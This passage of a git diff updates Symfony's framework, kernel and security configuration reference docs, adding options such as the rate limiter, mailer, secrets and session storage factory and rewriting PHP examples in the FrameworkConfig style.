+Name of the rate limiter you want to create.
+
+lock_factory
+""""""""""""
+
+**type**: ``string`` **default:** ``lock.factory``
+
+The service that is used to create a lock. The service has to be an instance of
+the :class:`Symfony\\Component\\Lock\\LockFactory` class.
+
+policy
+""""""
+
+**type**: ``string`` **required**
+
+The name of the rate limiting algorithm to use. Example names are ``fixed_window``,
+``sliding_window`` and ``no_limit``. See :ref:`Rate Limiter Policies <rate-limiter-policies>`)
+for more information.
+
 request
 ~~~~~~~
 
@@ -1258,13 +1284,12 @@ To configure a ``jsonp`` format:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'request' => [
-                'formats' => [
-                    'jsonp' => 'application/javascript',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->request()
+                ->format('jsonp', 'application/javascript');
+        };
 
 router
 ~~~~~~
@@ -1288,6 +1313,18 @@ The type of the resource to hint the loaders about the format. This isn't
 needed when you use the default routers with the expected file extensions
 (``.xml``, ``.yaml``, ``.php``).
 
+default_uri
+...........
+
+**type**: ``string``
+
+.. versionadded:: 5.1
+
+    The ``default_uri`` option was introduced in Symfony 5.1.
+
+The default URI used to generate URLs in a non-HTTP context (see
+:ref:`Generating URLs in Commands <router-generate-urls-commands>`).
+
 http_port
 .........
 
@@ -1316,7 +1353,7 @@ The value can be one of:
 ``true``
     Throw an exception when the requirements are not met;
 ``false``
-    Disable exceptions when the requirements are not met and return ``null``
+    Disable exceptions when the requirements are not met and return ``''``
     instead;
 ``null``
     Disable checking the requirements (thus, match the route even when the
@@ -1350,25 +1387,37 @@ errors.
 session
 ~~~~~~~
 
-storage_id
-..........
+.. _storage_id:
+
+storage_factory_id
+..................
+
+**type**: ``string`` **default**: ``'session.storage.factory.native'``
+
+The service ID used for creating the ``SessionStorageInterface`` that stores
+the session. This service is available in the Symfony application via the
+``session.storage.factory`` service alias. The class has to implement
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageFactoryInterface`.
+To see a list of all available storages, run:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container session.storage.factory.
 
-**type**: ``string`` **default**: ``'session.storage.native'``
+.. versionadded:: 5.3
 
-The service id used for session storage. The ``session.storage`` service
-alias will be set to this service id. This class has to implement
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface`.
+    The ``storage_factory_id`` option was introduced in Symfony 5.3.
 
 .. _config-framework-session-handler-id:
 
 handler_id
 ..........
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string`` **default**: ``'session.handler.native_file'``
 
-The service id used for session storage. The default ``null`` value means to use
-the native PHP session mechanism. Set it to ``'session.handler.native_file'`` to
-let Symfony manage the sessions itself using files to store the session metadata.
+The service id used for session storage. The default value ``'session.handler.native_file'``
+will let Symfony manage the sessions itself using files to store the session metadata.
+Set it to ``null`` to use the native PHP session mechanism.
 You can also :doc:`store sessions in a database </session/database>`.
 
 .. _name:
@@ -1472,7 +1521,7 @@ The possible values for this option are:
 
 * ``null``, use it to disable this protection. Same behavior as in older Symfony
   versions.
-* ``'none'`` (or the ``Cookie::SAMESITE_NONE`` constant), use it to allow
+* ``'none'`` (or the ``Symfony\Component\HttpFoundation\Cookie::SAMESITE_NONE`` constant), use it to allow
   sending of cookies when the HTTP request originated from a different domain
   (previously this was the default behavior of null, but in newer browsers ``'lax'``
   would be applied when the header has not been set)
@@ -1491,10 +1540,10 @@ The possible values for this option are:
 cookie_secure
 .............
 
-**type**: ``boolean`` or ``null`` **default**: ``null``
+**type**: ``boolean`` or ``'auto'`` **default**: ``'auto'``
 
 This determines whether cookies should only be sent over secure connections. In
-addition to ``true`` and ``false``, there's a special ``null`` value that
+addition to ``true`` and ``false``, there's a special ``'auto'`` value that
 means ``true`` for HTTPS requests and ``false`` for HTTP requests.
 
 cookie_httponly
@@ -1595,11 +1644,12 @@ setting the value to ``null``:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'save_path' => null,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->savePath(null);
+        };
 
 .. _reference-session-metadata-update-threshold:
 
@@ -1649,11 +1699,12 @@ Whether to enable the session support in the framework.
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'enabled' => true,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->enabled(true);
+        };
 
 use_cookies
 ...........
@@ -1705,12 +1756,13 @@ This option allows you to define a base path to be used for assets:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'base_path' => '/images',
-            ],
-        ]);
+            $framework->assets()
+                ->basePath('/images');
+        };
 
 .. _reference-templating-base-urls:
 .. _reference-assets-base-urls:
@@ -1754,12 +1806,13 @@ collection each time it generates an asset's path:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'base_urls' => ['http://cdn.example.com/'],
-            ],
-        ]);
+            $framework->assets()
+                ->baseUrls(['http://cdn.example.com/']);
+        };
 
 .. _reference-framework-assets-packages:
 
@@ -1803,16 +1856,14 @@ You can group assets into packages, to specify different base URLs for them:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'packages' => [
-                    'avatars' => [
-                        'base_urls' => 'http://static_cdn.example.com/avatars',
-                    ],
-                ],
-            ],
-        ]);
+            $framework->assets()
+                ->package('avatars')
+                    ->baseUrls(['http://static_cdn.example.com/avatars']);
+        };
 
 Now you can use the ``avatars`` package in your templates:
 
@@ -1880,12 +1931,13 @@ Now, activate the ``version`` option:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'version' => 'v2',
-            ],
-        ]);
+            $framework->assets()
+                ->version('v2');
+        };
 
 Now, the same asset will be rendered as ``/images/logo.png?v2`` If you use
 this feature, you **must** manually increment the ``version`` value
@@ -2007,25 +2059,25 @@ individually for each asset package:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'assets' => [
-                'version_strategy' => 'app.asset.my_versioning_strategy',
-                'packages' => [
-                    'foo_package' => [
-                        // this package removes any versioning (its assets won't be versioned)
-                        'version' => null,
-                    ],
-                    'bar_package' => [
-                        // this package uses its own strategy (the default strategy is ignored)
-                        'version_strategy' => 'app.asset.another_version_strategy',
-                    ],
-                    'baz_package' => [
-                        // this package inherits the default strategy
-                        'base_path' => '/images',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->assets()
+                ->versionStrategy('app.asset.my_versioning_strategy');
+
+            $framework->assets()->package('foo_package')
+                // this package removes any versioning (its assets won't be versioned)
+                ->version(null);
+
+            $framework->assets()->package('bar_package')
+                // this package uses its own strategy (the default strategy is ignored)
+                ->versionStrategy('app.asset.another_version_strategy');
+
+            $framework->assets()->package('baz_package')
+                // this package inherits the default strategy
+                ->basePath('/images');
+        };
 
 .. note::
 
@@ -2104,24 +2156,24 @@ package:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'assets' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->assets()
                 // this manifest is applied to every asset (including packages)
-                'json_manifest_path' => '%kernel.project_dir%/public/build/manifest.json',
-                // you can use absolute URLs too and Symfony will download them automatically
-                // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
-                'packages' => [
-                    'foo_package' => [
-                        // this package uses its own manifest (the default file is ignored)
-                        'json_manifest_path' => '%kernel.project_dir%/public/build/a_different_manifest.json',
-                    ],
-                    'bar_package' => [
-                        // this package uses the global manifest (the default file is used)
-                        'base_path' => '/images',
-                    ],
-                ],
-            ],
-        ]);
+                ->jsonManifestPath('%kernel.project_dir%/public/build/manifest.json');
+
+            // you can use absolute URLs too and Symfony will download them automatically
+            // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
+            $framework->assets()->package('foo_package')
+                // this package uses its own manifest (the default file is ignored)
+                ->jsonManifestPath('%kernel.project_dir%/public/build/a_different_manifest.json');
+
+            $framework->assets()->package('bar_package')
+                // this package uses the global manifest (the default file is used)
+                ->basePath('/images');
+        };
 
 .. versionadded:: 5.1
 
@@ -2174,51 +2226,10 @@ enabled_locales
 
     The ``enabled_locales`` option was introduced in Symfony 5.1.
 
-Symfony applications generate by default the translation files for validation
-and security messages in all locales. If your application only uses some
-locales, use this option to restrict the files generated by Symfony and improve
-performance a bit:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/translation.yaml
-        framework:
-            translator:
-                enabled_locales: ['en', 'es']
-
-    .. code-block:: xml
+.. deprecated:: 5.4
 
-        <!-- config/packages/translation.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:translator>
-                    <enabled-locale>en</enabled-locale>
-                    <enabled-locale>es</enabled-locale>
-                </framework:translator>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'translator' => [
-                'enabled_locales' => ['en', 'es'],
-            ],
-        ]);
-
-If some user makes requests with a locale not included in this option, the
-application won't display any error because Symfony will display contents using
-the fallback locale.
+    Using ``framework.translator.enabled_locales`` has been deprecated in favor of
+    :ref:`framework.enabled_locales <reference-enabled-locales>` since Symfony 5.4.
 
 .. _fallback:
 
@@ -2242,9 +2253,9 @@ logging
 **default**: ``true`` when the debug mode is enabled, ``false`` otherwise.
 
 When ``true``, a log entry is made whenever the translator cannot find a translation
-for a given key. The logs are made to the ``translation`` channel and at the
-``debug`` for level for keys where there is a translation in the fallback
-locale and the ``warning`` level if there is no translation to use at all.
+for a given key. The logs are made to the ``translation`` channel at the
+``debug`` level for keys where there is a translation in the fallback
+locale, and the ``warning`` level if there is no translation to use at all.
 
 .. _reference-framework-translator-formatter:
 
@@ -2266,7 +2277,7 @@ paths
 This option allows to define an array of paths where the component will look
 for translation files. The later a path is added, the more priority it has
 (translations from later paths overwrite earlier ones). Translations from the
-`default_path <reference-translator-default_path>` have more priority than
+:ref:`default_path <reference-translator-default_path>` have more priority than
 translations from all these paths.
 
 .. _reference-translator-default_path:
@@ -2279,6 +2290,20 @@ default_path
 This option allows to define the path where the application translations files
 are stored.
 
+.. _reference-translator-providers:
+
+providers
+.........
+
+**type**: ``array`` **default**: ``[]``
+
+.. versionadded:: 5.3
+
+    The ``providers`` option was introduced in Symfony 5.3.
+
+This option enables and configures :ref:`translation providers <translation-providers>`
+to push and pull your translations to/from third party translation services.
+
 property_access
 ~~~~~~~~~~~~~~~
 
@@ -2343,6 +2368,8 @@ enabled
 
 **type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
+.. _reference-validation:
+
 validation
 ~~~~~~~~~~
 
@@ -2430,22 +2457,15 @@ metadata of the class. You can define an array of strings with the names of
 several methods. In that case, all of them will be called in that order to load
 the metadata.
 
+.. _reference-validation-email_validation_mode:
+
 email_validation_mode
 .....................
 
 **type**: ``string`` **default**: ``loose``
 
-It controls the way email addresses are validated by the
-:doc:`/reference/constraints/Email` validator. The possible values are:
-
-* ``loose``, it uses a simple regular expression to validate the address (it
-  checks that at least one ``@`` character is present, etc.). This validation is
-  too simple and it's recommended to use the ``html5`` validation instead;
-* ``html5``, it validates email addresses using the same regular expression
-  defined in the HTML5 standard, making the backend validation consistent with
-  the one provided by browsers;
-* ``strict``, it uses the `egulias/email-validator`_ library (which you must
-  install separately) to validate the addresses according to the `RFC 5322`_.
+Sets the default value for the
+:ref:`"mode" option of the Email validator <reference-constraint-email-mode>`.
 
 .. _reference-validation-mapping:
 
@@ -2496,15 +2516,13 @@ the component will look for additional validation files:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'mapping' => [
-                    'paths' => [
-                        '%kernel.project_dir%/config/validation/',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->validation()
+                ->mapping()
+                    ->paths(['%kernel.project_dir%/config/validation/']);
+        };
 
 annotations
 ~~~~~~~~~~~
@@ -2514,10 +2532,12 @@ annotations
 cache
 .....
 
-**type**: ``string`` **default**: ``'file'``
+**type**: ``string`` **default**: ``'php_array'``
 
 This option can be one of the following values:
 
+php_array
+    Use a PHP array to cache annotations in memory
 file
     Use the filesystem to cache annotations
 none
@@ -2525,6 +2545,10 @@ none
 a service id
     A service id referencing a `Doctrine Cache`_ implementation
 
+.. deprecated:: 5.3
+
+    Using a service ID as the value of ``cache`` is deprecated since Symfony 5.3.
+
 file_cache_dir
 ..............
 
@@ -2544,6 +2568,31 @@ annotation changes). For performance reasons, it is recommended to disable
 debug mode in production, which will happen automatically if you use the
 default value.
 
+
+secrets
+~~~~~~~
+
+decryption_env_var
+..................
+
+**type**: ``string`` **default**: ``base64:default::SYMFONY_DECRYPTION_SECRET``
+
+The environment variable that contains the decryption key.
+
+local_dotenv_file
+.................
+
+**type**: ``string`` **default**: ``%kernel.project_dir%/.env.%kernel.environment%.local``
+
+Path to an dotenv file that holds secrets. This is primarily used for testing.
+
+vault_directory
+...............
+
+**type**: ``string`` **default**: ``%kernel.project_dir%/config/secrets/%kernel.environment%``
+
+The directory where the vault of secrets is stored.
+
 .. _configuration-framework-serializer:
 
 serializer
@@ -2631,6 +2680,69 @@ Use the application logger instead of the PHP logger for logging PHP errors.
 When an integer value is used, it also sets the log level. Those integer
 values must be the same used in the `error_reporting PHP option`_.
 
+This option also accepts a map of PHP errors to log levels:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            php_errors:
+                log:
+                    '!php/const \E_DEPRECATED': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_DEPRECATED': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_NOTICE': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_NOTICE': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_STRICT': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_COMPILE_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_CORE_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_RECOVERABLE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_COMPILE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_PARSE': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_CORE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- in XML configuration you cannot use PHP constants as the value of
+                     the 'type' attribute, which makes this format way less readable.
+                     Consider using YAML or PHP for this configuration -->
+                <framework:log type="8" logLevel="error"/>
+                <framework:log type="2" logLevel="error"/>
+                <!-- ... -->
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Psr\Log\LogLevel;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->phpErrors()->log(\E_DEPRECATED, LogLevel::ERROR);
+            $framework->phpErrors()->log(\E_USER_DEPRECATED, LogLevel::ERROR);
+            // ...
+        };
+
+.. versionadded:: 5.3
+
+    The option to map PHP errors to log levels was introduced in Symfony 5.3.
+
 throw
 .....
 
@@ -2767,7 +2879,7 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow
                     <framework:pool
                         name="cache.mycache"
                         adapter="cache.adapter.redis"
-                        default-lifetime=3600
+                        default-lifetime="3600"
                     />
                 </framework:cache>
                 <!-- ... -->
@@ -2777,16 +2889,14 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'cache.mycache' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'default_lifetime' => 3600,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('cache.mycache')
+                    ->adapters(['cache.adapter.redis'])
+                    ->defaultLifetime(3600);
+        };
 
 .. _reference-cache-pools-name:
 
@@ -2868,9 +2978,9 @@ The cache clearer used to clear your PSR-6 cache.
 prefix_seed
 ...........
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string`` **default**: ``_%kernel.project_dir%.%kernel.container_class%``
 
-If defined, this value is used as part of the "namespace" generated for the
+This value is used as part of the "namespace" generated for the
 cache item keys. A common practice is to use the unique name of the application
 (e.g. ``symfony.com``) because that prevents naming collisions when deploying
 multiple applications into the same path (on different servers) that share the
@@ -2944,9 +3054,12 @@ A list of lock stores to be created by the framework extension.
     .. code-block:: php
 
         // config/packages/lock.php
-        $container->loadFromExtension('framework', [
-            'lock' => '%env(LOCK_DSN)%',
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->lock()
+                ->resource('default', ['%env(LOCK_DSN)%']);
+        };
 
 .. seealso::
 
@@ -2961,17 +3074,135 @@ name
 
 Name of the lock you want to create.
 
-.. tip::
+mailer
+~~~~~~
+
+.. _mailer-dsn:
+
+dsn
+...
+
+**type**: ``string`` **default**: ``null``
+
+The DSN used by the mailer. When several DSN may be used, use
+``transports`` option (see below) instead.
+
+transports
+..........
+
+**type**: ``array``
+
+A :ref:`list of DSN <multiple-email-transports>` that can be used by the
+mailer. A transport name is the key and the dsn is the value.
+
+message_bus
+...........
+
+.. versionadded:: 5.1
+
+    The ``message_bus`` option was introduced in Symfony 5.1.
+
+**type**: ``string`` **default**: ``null`` or default bus if Messenger component is installed
+
+Service identifier of the message bus to use when using the
+:doc:`Messenger component </messenger>` (e.g. ``messenger.default_bus``).
+
+envelope
+........
+
+sender
+""""""
 
-    If you want to use the `RetryTillSaveStore` for :ref:`non-blocking locks <lock-blocking-locks>`,
-    you can do it by :doc:`decorating the store </service_container/service_decoration>` service:
+**type**: ``string``
+
+The "envelope sender" which is used as the value of ``MAIL FROM`` during the
+`SMTP session`_. This value overrides any other sender set in the code.
+
+recipients
+""""""""""
+
+**type**: ``array``
+
+The "envelope recipient" which is used as the value of ``RCPT TO`` during the
+the `SMTP session`_. This value overrides any other recipient set in the code.
+
+.. configuration-block::
 
     .. code-block:: yaml
 
-        lock.invoice.retry_till_save.store:
-            class: Symfony\Component\Lock\Store\RetryTillSaveStore
-            decorates: lock.invoice.store
-            arguments: ['@.inner', 100, 50]
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                dsn: 'smtp://localhost:25'
+                envelope:
+                    recipients: ['admin@symfony.com', 'lead@symfony.com']
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:mailer dsn="smtp://localhost:25">
+                    <framework:envelope>
+                        <framework:recipient>admin@symfony.com</framework:recipient>
+                        <framework:recipient>lead@symfony.com</framework:recipient>
+                    </framework:envelope>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $containerConfigurator): void {
+            $containerConfigurator->extension('framework', [
+                'mailer' => [
+                    'dsn' => 'smtp://localhost:25',
+                    'envelope' => [
+                        'recipients' => [
+                            'admin@symfony.com',
+                            'lead@symfony.com',
+                        ],
+                    ],
+                ],
+            ]);
+        };
+
+.. _mailer-headers:
+
+headers
+.......
+
+.. versionadded:: 5.2
+
+    The ``headers`` mailer option was introduced in Symfony 5.2.
+
+**type**: ``array``
+
+Headers to add to emails. The key (``name`` attribute in xml format) is the
+header name and value the header value.
+
+.. seealso::
+
+    For more information, see :ref:`Configuring Emails Globally <mailer-configure-email-globally>`
+
+web_link
+~~~~~~~~
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+
+Adds a `Link HTTP header`_ to the response.
 
 workflows
 ~~~~~~~~~
@@ -3013,11 +3244,14 @@ A list of workflows to be created by the framework extension:
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
-            'workflows' => [
-                'my_workflow' => // ...
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->workflows()
+                ->workflows('my_workflow')
+                    // ...
+            ;
+        };
 
 .. seealso::
 
@@ -3045,7 +3279,7 @@ Name of the workflow you want to create.
 audit_trail
 """""""""""
 
-**type**: ``bool``
+**type**: ``boolean``
 
 If set to ``true``, the :class:`Symfony\\Component\\Workflow\\EventListener\\AuditTrailListener`
 will be enabled.
@@ -3127,8 +3361,6 @@ to know their differences.
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`Doctrine Cache`: https://www.doctrine-project.org/projects/doctrine-cache/en/current/index.html
-.. _`egulias/email-validator`: https://github.com/egulias/EmailValidator
-.. _`RFC 5322`: https://tools.ietf.org/html/rfc5322
 .. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol
 .. _`phpstorm-url-handler`: https://github.com/sanduhrs/phpstorm-url-handler
 .. _`blue/green deployment`: https://martinfowler.com/bliki/BlueGreenDeployment.html
@@ -3146,3 +3378,5 @@ to know their differences.
 .. _`session.cache-limiter`: https://www.php.net/manual/en/session.configuration.php#ini.session.cache-limiter
 .. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
+.. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988
+.. _`SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 27707807ed4..006ad7b3208 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -5,18 +5,12 @@ Configuring in the Kernel
 =========================
 
 Some configuration can be done on the kernel class itself (located by default at
-``src/Kernel.php``). You can do this by overriding specific methods in
+``src/Kernel.php``). You can do this by overriding specific methods of
 the parent :class:`Symfony\\Component\\HttpKernel\\Kernel` class.
 
 Configuration
 -------------
 
-* `Charset`_
-* `Project Directory`_
-* `Cache Directory`_
-* `Log Directory`_
-* `Container Build Time`_
-
 In previous Symfony versions there was another configuration option to define
 the "kernel name", which is only important when
 :doc:`using applications with multiple kernels </configuration/multiple_kernels>`.
@@ -103,6 +97,8 @@ the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCacheDir` method. To
 change this setting, override the ``getCacheDir()`` method to return the correct
 cache directory.
 
+.. _configuration-kernel-build-directory:
+
 Build Directory
 ~~~~~~~~~~~~~~~
 
@@ -123,7 +119,6 @@ the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir` method. To
 change this setting, override the ``getBuildDir()`` method to return the correct
 build directory.
 
-
 Log Directory
 ~~~~~~~~~~~~~
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index f4310635c5e..50cc2ddf2cc 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -29,7 +29,6 @@ Configuration
 
 * `access_denied_url`_
 * `always_authenticate_before_granting`_
-* `anonymous`_
 * `erase_credentials`_
 * `hide_user_not_found`_
 * `session_fixation_strategy`_
@@ -40,7 +39,7 @@ Some of these options define tens of sub-options and they are explained in
 separate articles:
 
 * `access_control`_
-* `encoders`_
+* :ref:`hashers <passwordhasher-supported-algorithms>`
 * `firewalls`_
 * `providers`_
 * `role_hierarchy`_
@@ -58,19 +57,15 @@ always_authenticate_before_granting
 
 **type**: ``boolean`` **default**: ``false``
 
+.. deprecated:: 5.4
+
+    The ``always_authenticate_before_granting`` option was deprecated in
+    Symfony 5.4 and it will be removed in Symfony 6.0.
+
 If ``true``, the user is asked to authenticate before each call to the
 ``isGranted()`` method in services and controllers or ``is_granted()`` from
 templates.
 
-anonymous
-~~~~~~~~~
-
-**type**: ``string`` **default**: ``~``
-
-When set to ``lazy``, Symfony loads the user (and starts the session) only if
-the application actually accesses the ``User`` object (e.g. via a ``is_granted()``
-call in a template or ``isGranted()`` in a controller or service).
-
 erase_credentials
 ~~~~~~~~~~~~~~~~~
 
@@ -89,8 +84,8 @@ If ``true``, when a user is not found a generic exception of type
 is thrown with the message "Bad credentials".
 
 If ``false``, the exception thrown is of type
-:class:`Symfony\\Component\\Security\\Core\\Exception\\UsernameNotFoundException`
-and it includes the given not found username.
+:class:`Symfony\\Component\\Security\\Core\\Exception\\UserNotFoundException`
+and it includes the given not found user identifier.
 
 session_fixation_strategy
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -116,200 +111,10 @@ access_control
 
 Defines the security protection of the URLs of your application. It's used for
 example to trigger the user authentication when trying to access to the backend
-and to allow anonymous users to the login form page.
+and to allow unauthenticated users to the login form page.
 
 This option is explained in detail in :doc:`/security/access_control`.
 
-encoders
---------
-
-This option defines the algorithm used to *encode* the password of the users.
-Although Symfony calls it *"password encoding"* for historical reasons, this is
-in fact, *"password hashing"*.
-
-If your app defines more than one user class, each of them can define its own
-encoding algorithm. Also, each algorithm defines different config options:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            encoders:
-                # auto encoder with default options
-                App\Entity\User: 'auto'
-
-                # auto encoder with custom options
-                App\Entity\User:
-                    algorithm: 'auto'
-                    cost:      15
-
-                # Sodium encoder with default options
-                App\Entity\User: 'sodium'
-
-                # Sodium encoder with custom options
-                App\Entity\User:
-                    algorithm:   'sodium'
-                    memory_cost:  16384 # Amount in KiB. (16384 = 16 MiB)
-                    time_cost:    2     # Number of iterations
-
-                # MessageDigestPasswordEncoder encoder using SHA512 hashing with default options
-                App\Entity\User: 'sha512'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <!-- auto encoder with default options -->
-                <encoder
-                    class="App\Entity\User"
-                    algorithm="auto"
-                />
-
-                <!-- auto encoder with custom options -->
-                <encoder
-                    class="App\Entity\User"
-                    algorithm="auto"
-                    cost="15"
-                />
-
-                <!-- Sodium encoder with default options -->
-                <encoder
-                    class="App\Entity\User"
-                    algorithm="sodium"
-                />
-
-                <!-- Sodium encoder with custom options -->
-                <!-- memory_cost: amount in KiB. (16384 = 16 MiB)
-                     time_cost: number of iterations -->
-                <encoder
-                    class="App\Entity\User"
-                    algorithm="sodium"
-                    memory_cost="16384"
-                    time_cost="2"
-                />
-
